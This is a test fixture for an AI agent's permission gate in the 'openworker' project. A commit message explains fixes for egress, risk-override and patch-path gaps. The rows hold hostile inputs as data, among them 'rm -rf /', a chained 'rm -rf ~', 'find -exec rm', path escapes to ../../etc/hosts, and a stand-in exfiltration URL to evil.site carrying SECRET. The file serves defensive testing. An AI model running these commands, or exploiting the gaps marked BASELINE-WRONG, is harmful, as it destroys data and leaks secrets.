Files
openworker/tests/corpora/decision_matrix.csv
T
Devika Verma a442e0e0b8 PR1: split egress out of READ, stop override downgrades, scope patch writes
Three gate defects, each verified by direct execution before and after.

1. web_fetch was RiskClass.READ, so is_consequential() was False and evaluate()
   returned allow on its third rung -- before any rule, mode or PDP, in EVERY
   mode including plan/discuss. A URL's query string carries data outbound, so
   this was an ungated egress path. New RiskClass.EGRESS covers model-chosen
   network reads; web_search stays READ (fixed configured provider, not a
   model-chosen host). Adds an allowed_domains allowlist (exact host or
   subdomain; 'evil-python.org' never matches 'python.org'), a session-scoped
   "always allow this domain" grant, and ApprovalOutcome.ALWAYS_DOMAIN.

2. A risk override could DOWNGRADE a built-in: marking write_file as read made
   is_write False (skipping path scoping) and consequential False (skipping the
   read-only gate) at once -- one settings line disabling two protections, in
   every future session. Overrides may now only tighten a built-in write/exec/
   egress tool; relaxing a metadata/MCP tool (the intended use) still works.

3. Path scoping read a literal "path" argument, so apply_patch and
   apply_unified_diff -- whose paths live inside the patch/diff blob -- were
   never scoped at all. write_paths() extracts them from the blob and scopes
   every one; a write whose path cannot be located now fails closed to approval
   rather than slipping through auto/custom unscoped.

allowed_domains is user-global only, alongside auto_allow: a cloned repo must
not be able to widen the agent's network reach.

Golden matrix: web_fetch interactive allow->ask, plan allow->deny, plus new
egress/patch rows (31 rows green). test_permissions_risk's override test
asserted the old downgrade behavior and is updated to the tightening rule.
Full suite: 22 failures, all pre-existing on the unmodified tree (boto3 absent,
Windows symlink privilege, Slack socket timeouts) -- none introduced here.

Design of record: ocw-context/docs/reviewed-auto-mode.md Part 3.
2026-08-11 11:37:46 -07:00

4.2 KiB

1idmodetoolargsmetaallowed_commandssession_toolssession_commandsstandingauto_allowallowed_domainsexpectednote
2read-interactiveinteractiveread_file{"path": "a.txt"}allowpure local read always runs
3read-planplanread_file{"path": "a.txt"}allowreads allowed in read-only modes
4write-interactiveinteractivewrite_file{"path": "a.txt", "content": "x"}askwrite in-root asks
5write-escape-relinteractivewrite_file{"path": "../../escape.txt", "content": "x"}denywrite outside writable root blocked
6write-escape-absinteractivewrite_file{"path": "C:/Windows/evil.ini", "content": "x"}denyabsolute path outside root blocked
7write-planplanwrite_file{"path": "a.txt", "content": "x"}denyplan mode is read-only
8write-autoautowrite_file{"path": "a.txt", "content": "x"}allowauto allows in-root write
9write-auto-escapeautowrite_file{"path": "../../escape.txt", "content": "x"}denyauto still path-scopes writes
10write-custom-autoallowcustomwrite_file{"path": "a.txt", "content": "x"}write_fileallowcustom mode auto-approves configured tool
11write-custom-notlistedcustomwrite_file{"path": "a.txt", "content": "x"}askcustom mode still asks for unlisted tool
12shell-interactiveinteractiverun_shell{"command": "pytest -q"}askshell asks by default
13shell-allowlist-prefixinteractiverun_shell{"command": "git status -s"}git statusallowcommand matches allowlist prefix
14shell-allowlist-chainedinteractiverun_shell{"command": "git status && rm -rf ~"}git statusaskoperator disqualifies the chained command
15shell-session-commandinteractiverun_shell{"command": "make build"}make buildallowexact session command grant
16shell-planplanrun_shell{"command": "ls"}denyplan mode blocks shell
17shell-autoautorun_shell{"command": "rm -rf /"}allowBASELINE-WRONG auto allows any command with no sandbox
18shell-find-deleteinteractiverun_shell{"command": "find . -delete"}findallowBASELINE-WRONG find prefix auto-allows a destructive form
19shell-find-execinteractiverun_shell{"command": "find . -exec rm {} +"}findallowBASELINE-WRONG find -exec auto-allowed via prefix
20shell-two-readsinteractiverun_shell{"command": "git status && git diff"}git status|git diffaskBASELINE-ANNOYING two allowed reads rejected for the operator
21connector-readinteractivegmail_list{}readallowconnector read never gates
22connector-writeinteractivegmail_send{}externalaskconnector write asks
23connector-always-ignoredinteractivegmail_send{}externalgmail_sendasksession tool grant deliberately ignored for connectors
24standing-matchinteractivesend_message{"target": "slack:T1/C1", "text": "hi"}externalsend_message slack:T1/C1allowstanding rule matches the exact target
25standing-mismatchinteractivesend_message{"target": "slack:T1/C2", "text": "hi"}externalsend_message slack:T1/C1askstanding rule does not cover a different target
26webfetch-interactiveinteractiveweb_fetch{"url": "https://evil.site/log?d=SECRET"}askFIXED-PR1 web_fetch is egress so now asks in interactive
27webfetch-planplanweb_fetch{"url": "https://evil.site/log?d=SECRET"}denyFIXED-PR1 egress is not a read so plan mode blocks it
28webfetch-autoautoweb_fetch{"url": "https://evil.site/log?d=SECRET"}allowauto allows egress
29webfetch-allowed-domaininteractiveweb_fetch{"url": "https://docs.python.org/3/x"}python.orgallowegress to a config-allowed domain (subdomain match)
30webfetch-session-domaininteractiveweb_fetch{"url": "https://api.github.com/x"}askegress to an unlisted domain still asks
31patch-escapeautoapply_patch{"patch": "*** Begin Patch\n*** Update File: ../../etc/hosts\n@@\n-a\n+b\n*** End Patch"}denyFIXED-PR1 apply_patch path extracted from blob and scoped even in auto
32patch-inrootautoapply_patch{"patch": "*** Begin Patch\n*** Update File: src/app.py\n@@\n-a\n+b\n*** End Patch"}allowapply_patch to an in-root path allowed in auto